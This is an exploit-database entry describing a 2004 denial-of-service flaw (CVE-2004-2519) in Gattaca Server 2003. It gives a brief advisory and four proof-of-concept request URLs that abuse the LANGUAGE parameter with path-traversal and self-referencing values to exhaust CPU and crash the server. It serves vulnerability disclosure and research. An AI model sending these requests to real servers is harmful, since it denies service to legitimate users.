Exploit Gattaca Server 2003 - 'web.tmpl?Language' CPU Consumption (Denial of Service)

[Exploiter]

EDB-ID

24282

Проверка EDB

1. Пройдено

Автор

DR_INSANE

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

cve-2004-2519

Дата публикации

2004-07-15

Gattaca Server 2003 - 'web.tmpl?Language' CPU Consumption (Denial of Service)

source: https://www.securityfocus.com/bid/10728/info

It is reported that Gattaca Server 2003 contains multiple denial of service vulnerabilities.

These vulnerabilities allow a remote attacker to crash the application, denying service to legitimate users.

Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. 

http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/../../../../
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=.
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=/
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//[whatever]&LANGUAGE=lang//en